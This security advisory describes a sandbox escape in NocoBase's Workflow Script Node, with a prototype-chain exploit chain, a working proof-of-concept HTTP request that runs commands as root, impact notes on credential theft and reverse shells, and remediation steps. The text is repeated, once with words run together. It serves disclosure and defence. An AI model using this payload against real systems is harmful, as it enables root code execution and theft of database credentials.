## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor → host-realm Function constructor
Function('return process')() → Node.js process object
process.mainModule.require('child_process') → unrestricted module loading
child_process.execSync('id') → RCE as root
This completely bypasses the customRequire allowlist.
Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
- Arbitrary file read/write via
require('fs')
- Reverse shell confirmed
- Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
{
"type": "script",
"config": {
"content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest
- NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell

Proof of concept the root privileges

os-release demonstration


App path

Exploit Usage:
Reverse Shell Mode

Dump system information & creds

Remote Command Execution Mode

Remediation
- Replace Node.js
vm module with isolated-vm for true V8 isolate separation
- Do not pass the host
console object into the sandbox; create a clean proxy
- Run the application as a non-root user inside Docker
- Restrict
/api/flow_nodes:test to admin-only roles
Alternative Escape Vectors
console._stderr.constructor.constructor (identical chain via stderr)
Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
References
##SummaryNocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js
vmsandbox with a customrequireallowlist (controlled byWORKFLOW_SCRIPT_MODULESenv var). However, theconsoleobject passed into the sandbox context exposes host-realmWritableWorkerStdiostream objects viaconsole._stdoutandconsole._stderr.An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child_process')→ unrestricted module loadingchild_process.execSync('id')→ RCE as rootThis completely bypasses the
customRequireallowlist.Impact
DB_PASSWORD,INIT_ROOT_PASSWORDfromprocess.env)require('fs')Proof of Concept
HTTP Request:
POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
{
"type": "script",
"config": {
"content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
nocobase/nocobase:latestPoC
Got reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Exploit Usage:
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
Remediation
vmmodule withisolated-vmfor true V8 isolate separationconsoleobject into the sandbox; create a clean proxy/api/flow_nodes:testto admin-only rolesAlternative Escape Vectors
console._stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
References